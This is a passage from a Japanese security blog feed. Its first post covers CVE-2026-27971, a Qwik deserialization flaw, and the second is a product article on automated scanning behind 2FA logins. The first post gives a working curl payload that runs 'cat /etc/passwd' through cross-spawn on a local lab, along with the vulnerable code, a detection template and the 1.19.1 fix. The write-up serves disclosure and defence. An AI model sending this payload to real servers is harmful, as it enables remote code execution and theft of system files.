&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;crossSpawn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="危険なインポート経路"&gt;危険なインポート経路&lt;/h3&gt;
&lt;p&gt;脆弱なサーバーサイドの解決処理は、次のように要約できます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;importSymbol&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;symbolName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;modulePath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;modulePath&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;endsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'.js'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;modulePath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'.js'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mod&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;modulePath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mod&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;symbolName&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;問題は、&lt;code&gt;url&lt;/code&gt;と&lt;code&gt;symbolName&lt;/code&gt;が攻撃者の制御するシリアライズされた入力に由来する点です。デシリアライゼーションがQRLを再構築すると、攻撃者はモジュールパスと呼び出すエクスポートの両方を制御できます。&lt;/p&gt;
&lt;h2 id="cve-2026-27971の概念実証:リモートコード実行の達成"&gt;CVE-2026-27971の概念実証：リモートコード実行の達成&lt;/h2&gt;
&lt;p&gt;この問題を安全に検証するため、以下の構成でローカルのDockerラボを構築しました。127.0.0.1:3000上で@builder.io/qwik@1.19.0を用いたqwik-vulnです。&lt;/p&gt;
&lt;h3 id="テスト環境"&gt;テスト環境&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;docker-compose.yaml&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;services&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;qwik-vuln&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;build&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;context&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;./vulnerable&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"127.0.0.1:3000:3000"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="悪用"&gt;悪用&lt;/h3&gt;
&lt;p&gt;次のcurlコマンドは、シリアライズされたQwik-JSONペイロードを脆弱なエンドポイントへ手動で届けることで、リモートコード実行を達成します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-v&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://127.0.0.1:3000/?qfunc=sync"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/qwik-json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"X-QRL: sync"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"_objs":["\u0002./node_modules/cross-spawn/index#sync","cat","/etc/passwd",["2"],["0","1","3"]],"_entry":"4"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;結果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;脆弱なコンテナは次を返しました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="curlを用いたリモートコード実行" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-01_cve-2026-27971/Pasted image 20260330114904.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;em&gt;図1：curlを用いたリモートコード実行&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;これにより、デシリアライズされた&lt;code&gt;server$&lt;/code&gt;呼び出しチェーンを介した&lt;code&gt;cat /etc/passwd&lt;/code&gt;のリモート実行が確認されます。&lt;/p&gt;
&lt;h2 id="cve-2026-27971:nuclei検証テンプレート"&gt;CVE-2026-27971：Nuclei検証テンプレート&lt;/h2&gt;
&lt;p&gt;ローカルでのテンプレート検証のために、&lt;strong&gt;id&lt;/strong&gt;ベースのNucleiテンプレートを作成しました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Nucleiテンプレートによる検出の検証" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-01_cve-2026-27971/Pasted image 20260330115506.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;em&gt;図2：Nucleiテンプレートによる検出の検証&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;脆弱なターゲットの検証：脆弱なラボは期待される条件を満たします。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTTP 200&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;レスポンスヘッダー内の&lt;strong&gt;application/qwik-json&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;uid=,gid=&lt;/strong&gt;に一致するコマンド出力&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="cve-2026-27971:qwik 1.19.1での修正"&gt;CVE-2026-27971：Qwik 1.19.1での修正&lt;/h2&gt;
&lt;p&gt;パッチ適用後の挙動は、サーバーランタイムから危険な動的インポート経路を取り除いています。任意のチャンクを&lt;code&gt;require()&lt;/code&gt;で解決する代わりに、サーバーサイドのインポートルーチンはフェイルクローズします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;importSymbol&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;symbolName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;regSym&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;global&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__qwik_reg_symbols&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;getSymbolHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;symbolName&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;regSym&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;regSym&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ne"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`Dynamic import failed for symbol '&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;symbolName&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;'`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これが鍵となるセキュリティ上の変更です。デシリアライズされたQRLはデータとしては依然として存在し得ますが、サーバー上での任意のモジュール読み込みにはもはやつながりません。&lt;/p&gt;
&lt;h3 id="修正済みコントロールの検証"&gt;修正済みコントロールの検証&lt;/h3&gt;
&lt;p&gt;パッチ適用済みのコントロールに対して同じnucleiテンプレートを実行すると、&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Nucleiを用いた修正コントロールの検証" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-01_cve-2026-27971/Pasted image 20260330115639.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;em&gt;図3：Nucleiを用いた修正コントロールの検証&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;次を返しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;500&lt;/span&gt; &lt;span class="ne"&gt;Internal Server Error&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;text/plain&lt;/span&gt;

Invalid request
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="即時の修復"&gt;即時の修復&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Qwikを&lt;strong&gt;1.19.1&lt;/strong&gt;以降へアップグレードする&lt;/li&gt;
&lt;li&gt;ネイティブの&lt;strong&gt;require()&lt;/strong&gt;が利用可能なランタイムで、脆弱な&lt;strong&gt;server$&lt;/strong&gt; RPC経路を公開しないようにする&lt;/li&gt;
&lt;li&gt;サーバーサイドのアダプターやカスタムのCJSラッパーが動的モジュール解決を再導入していないかを確認する&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="参考資料"&gt;参考資料&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;リソース&lt;/th&gt;
&lt;th style="text-align: left;"&gt;リンク&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Github advisory GHSA-p9x5-jp3h-96mm&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/advisories/GHSA-p9x5-jp3h-96mm"&gt;https://github.com/advisories/GHSA-p9x5-jp3h-96mm&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Nuclei Template&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-27971.yaml"&gt;https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-27971.yaml&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;NVD&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2026-27971"&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-27971&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content><category term="Security"/><category term="Security"/><category term="CVE"/><category term="RCE"/><category term="vulnerability"/><category term="cve-news"/></entry><entry><title>ログインの壁の向こう側のセキュリティテスト：2FAとMFA</title><link href="https://blog.ostorlab.co/ja/how-to-automate-security-testing-behind-login-walls.html" rel="alternate"/><published>2026-03-30T16:44:00+02:00</published><updated>2026-03-30T16:44:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-03-30:/ja/how-to-automate-security-testing-behind-login-walls.html</id><summary type="html">&lt;p&gt;スキャナーがログインページで止まってしまう理由と、OstorlabがSMS、メール、TOTPによる2FAの向こう側のテストを、手動フォールバックと安全に保護された認証情報とともに自動化する方法を解説します。&lt;/p&gt;</summary><content type="html">&lt;h2 id="認証の向こう側をテストする際の主な課題"&gt;認証の向こう側をテストする際の主な課題&lt;/h2&gt;
&lt;p&gt;認証メカニズムは、従来のセキュリティツールが想定していない構造的な制約をもたらします。&lt;/p&gt;
&lt;p&gt;多段階の検証フローがあると、スキャナーはアプリケーションの中核機能にアクセスできません。同時に、認証は自動化の妨げにもなります。DevSecOps環境では、CI/CDパイプラインに組み込まれたセキュリティスキャンに手動での介入が必要になることが多く、信頼性が低くスケールさせにくいものになっています。&lt;/p&gt;
&lt;p&gt;これは技術的な制約であるだけでなく、戦略的な制約でもあります。認証が必要な領域がテストから除外されると、組織は自社のリスクの露出を不完全にしか把握できないまま運用することになります。&lt;/p&gt;
&lt;h2 id="ostorlabによる2faの自動スキャン"&gt;Ostorlabによる2FAの自動スキャン&lt;/h2&gt;
&lt;p&gt;2FAに対応した自動セキュリティテストは、スキャナーが認証フローを完了してアプリケーションの保護された領域にアクセスできるようにすることで、こうした障壁を取り除きます。&lt;/p&gt;
&lt;p&gt;Ostorlabは、多段階の認証ワークフローを自動的に処理することでこの機能を実現し、ユーザーによる入力の必要性を最小限に抑えます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ostorlabは、SMS、メールOTP、TOTP、手動フォールバックを含む、主要なすべての2FA方式を完全に自動化できる唯一のプラットフォームです。&lt;/strong&gt;&lt;br/&gt;
&lt;strong&gt;これらの機能は、世界有数の2FAプロバイダーの一社から信頼を得ています。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;認証が完了すると、スキャナーはユーザーフローをたどりながらアプリケーション全体でテストを続けられるため、エンドツーエンドの完全なカバレッジが得られます。&lt;/p&gt;
&lt;h2 id="2faの自動スキャンでテストできること"&gt;2FAの自動スキャンでテストできること&lt;/h2&gt;
&lt;p&gt;テストの範囲をログインの段階より先まで広げることで、セキュリティチームは次の項目を評価できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;認証ワークフロー全体  &lt;/li&gt;
&lt;li&gt;認証済みユーザーのジャーニーとセッションベースのやり取り  &lt;/li&gt;
&lt;li&gt;決済やデータ変更などの機密性の高い操作  &lt;/li&gt;
&lt;li&gt;認証の向こう側にのみ存在するビジネスロジック&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これにより、公開されている部分だけでなく、アプリケーションが実際にどのように使われているかを反映したテストが可能になります。&lt;/p&gt;
&lt;h2 id="2faの自動認証が実際にどう機能するか"&gt;2FAの自動認証が実際にどう機能するか&lt;/h2&gt;
&lt;p&gt;Ostorlabは認証処理をスキャンエンジンに直接組み込んでおり、ログイン時にスキャナーが実際のユーザーのように振る舞えるようにしています。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="SMSによるワンタイムパスワード、メールの確認コード、認証アプリによる時間ベースのコード、手動2FAのフォールバックオプションなど、サポートされている認証方式を示す図" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_03_30_How_to_Automate_Security_Testing_Behind_Login_Walls/support-auth-methods.png" title="自動セキュリティテストでサポートされているさまざまな2FA方式"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;自動セキュリティテストでサポートされているさまざまな2FA方式&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="smsによる2fa"&gt;SMSによる2FA&lt;/h3&gt;
&lt;p&gt;スキャナーは、専用のテスト用番号を使ってSMSで送信されたOTPメッセージを傍受し、そのコードをログインフローに自動的に入力します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="SMSによる2FAのテスト認証情報の設定フォーム。ワンタイムパスワードを受信して処理するために必要な送信元電話番号のフィールドを強調表示している" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_03_30_How_to_Automate_Security_Testing_Behind_Login_Walls/sms-based-2FA.png" title="セキュリティテストでOTPを自動取得するためのSMSによる2FAの設定"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;セキュリティテストでOTPを自動取得するためのSMSによる2FAの設定&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="メールによる2fa"&gt;メールによる2FA&lt;/h3&gt;
&lt;p&gt;専用のテスト用メールボックスがリアルタイムで監視されます。プラットフォームは受信したメールからOTPを抽出し、認証を自動的に完了します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="メールによる2FAのテスト認証情報の設定フォーム。送信元メールアドレス、関連付けられたテストアカウントのメールアドレス、認証に使用するアプリケーションパスワードのフィールドを強調表示している" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_03_30_How_to_Automate_Security_Testing_Behind_Login_Walls/email-based-2FA.png" title="OTPを自動抽出するためのメールによる2FAの設定"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;OTPを自動抽出するためのメールによる2FAの設定&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="totp(認証アプリ)"&gt;TOTP（認証アプリ）&lt;/h3&gt;
&lt;p&gt;Ostorlabは仮想の認証アプリとして機能し、共有シークレットを使って有効な時間ベースのコードを生成します。これはRFC 6238などの業界標準に完全に準拠しています。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="TOTP認証のテスト認証情報の設定フォーム。時間ベースの確認コードを生成するために必要なシークレットキー（シード）のフィールドを強調表示している" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_03_30_How_to_Automate_Security_Testing_Behind_Login_Walls/totp-authentication.png" title="時間ベースのOTPを自動生成するためのTOTPによる2FAの設定"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;時間ベースのOTPを自動生成するためのTOTPによる2FAの設定&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="手動2fa(フォールバックモード)"&gt;手動2FA（フォールバックモード）&lt;/h3&gt;
&lt;p&gt;複雑な認証フローや独自の認証フローの場合、スキャンは一時停止し、手動でコードを入力してから再開できます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="手動2FAのテスト認証情報の設定フォーム。手動の認証ステップを識別・管理するために使用する参照ラベルのフィールドを強調表示している" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_03_30_How_to_Automate_Security_Testing_Behind_Login_Walls/manual-2FA.png" title="複雑な認証フローに対応するための手動2FAの設定"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;複雑な認証フローに対応するための手動2FAの設定&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;その結果、以下に示すように、ログインフローを正常に通過してアプリケーションの保護された領域にアクセスする、完全に認証されたスキャンが実現します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="自動セキュリティスキャンがOTPの入力フィールドを埋め、2FAで保護されたログインフローを進んで、アプリケーションの保護された領域にアクセスする様子を示すスクリーンショット" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_03_30_How_to_Automate_Security_Testing_Behind_Login_Walls/automated-scan-bypass-2FA.png" title="2FAを経て認証済み領域にアクセスする自動セキュリティスキャン"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;2FAを経て認証済み領域にアクセスする自動セキュリティスキャン&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="スキャン中に認証データを保護する仕組み"&gt;スキャン中に認証データを保護する仕組み&lt;/h2&gt;
&lt;p&gt;認証データは、スキャンのプロセス全体を通じて安全に取り扱われます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TOTPのシークレットは保存時に暗号化される  &lt;/li&gt;
&lt;li&gt;機密性の高い認証情報がログや結果に露出することはない&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これにより、自動化が新たなリスクを生むことなく、セキュリティを強化できます。&lt;/p&gt;
&lt;h2 id="2faに対応した自動セキュリティテストの主なメリット"&gt;2FAに対応した自動セキュリティテストの主なメリット&lt;/h2&gt;
&lt;p&gt;認証が必要な領域までテストを広げることで、組織は次のことが可能になります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;アプリケーション全体を完全に可視化する  &lt;/li&gt;
&lt;li&gt;実際のユーザーフローに潜む脆弱性を特定する  &lt;/li&gt;
&lt;li&gt;CI/CDパイプライン内で継続的なセキュリティテストを維持する  &lt;/li&gt;
&lt;li&gt;手動での介入への依存を減らす  &lt;/li&gt;
&lt;li&gt;開発に合わせてセキュリティの取り組みをスケールさせる&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;セキュリティは独立したステップとして扱われるのではなく、開発ライフサイクルに組み込まれたものになります。&lt;/p&gt;
&lt;h2 id="2faに対応した自動セキュリティテストの実際のユースケース"&gt;2FAに対応した自動セキュリティテストの実際のユースケース&lt;/h2&gt;
&lt;p&gt;2FAに対応した自動セキュリティテストは、最も機密性の高いユーザーフローが認証によって保護されている業界で欠かせないものになります。&lt;/p&gt;
&lt;h3 id="フィンテックと銀行"&gt;&lt;a href="https://ostorlab.co/solutions/banking"&gt;フィンテックと銀行&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;銀行アプリケーションは、ログイン、決済、受取人の管理といった操作で多要素認証に大きく依存しています。&lt;/p&gt;
&lt;p&gt;たとえば、セキュリティチームは次のようなテストを行う必要があるかもしれません。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ユーザーがSMSのOTPでログインする  &lt;/li&gt;
&lt;li&gt;口座残高にアクセスする  &lt;/li&gt;
&lt;li&gt;送金を実行する&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;2FAの自動処理がなければ、これらのフローをエンドツーエンドでテストすることはできません。&lt;/p&gt;
&lt;p&gt;Ostorlabを使えば、スキャナーは認証を行い、こうした重要なワークフローをたどって、&lt;strong&gt;実際の取引シナリオ&lt;/strong&gt;の中で直接脆弱性を検出できます。&lt;/p&gt;
&lt;h3 id="ヘルスケアアプリケーション"&gt;&lt;a href="https://ostorlab.co/solutions/healthcare"&gt;ヘルスケアアプリケーション&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;ヘルスケアプラットフォームは、機密性の高い患者データを厳格な認証レイヤーの向こう側で保護しています。&lt;/p&gt;
&lt;p&gt;典型的なユースケースには次のようなものがあります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;メールのOTPで患者ポータルにログインする  &lt;/li&gt;
&lt;li&gt;医療記録にアクセスする  &lt;/li&gt;
&lt;li&gt;個人情報や保険情報を更新する&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;こうした認証が必要なフローは、最も機密性が高いにもかかわらず、最もテストされていないことが少なくありません。&lt;/p&gt;
&lt;p&gt;2FAの自動スキャンにより、&lt;strong&gt;患者データへのアクセスや操作のフロー&lt;/strong&gt;に潜む脆弱性を確実に特定できます。&lt;/p&gt;
&lt;h3 id="eコマースと小売"&gt;Eコマースと小売&lt;/h3&gt;
&lt;p&gt;Eコマースプラットフォームは、ユーザーアカウント、支払い方法、注文履歴を2FAで保護しています。&lt;/p&gt;
&lt;p&gt;セキュリティチームは、次のようなフローをテストする必要があります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OTPによるユーザーのログイン  &lt;/li&gt;
&lt;li&gt;保存された支払い方法へのアクセス  &lt;/li&gt;
&lt;li&gt;チェックアウト手続きの完了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;認証済みスキャンがなければ、&lt;strong&gt;決済フローやアカウント乗っ取りのシナリオ&lt;/strong&gt;に潜む脆弱性は検出されないままになります。&lt;/p&gt;
&lt;h2 id="実務で違いを生む場面"&gt;実務で違いを生む場面&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;アプリケーションセキュリティのワークフロー&lt;/strong&gt;では、認証済みユーザーのジャーニーをテストすることで、実際の利用条件のもとでアプリケーションがどう振る舞うかを評価できます。&lt;/p&gt;
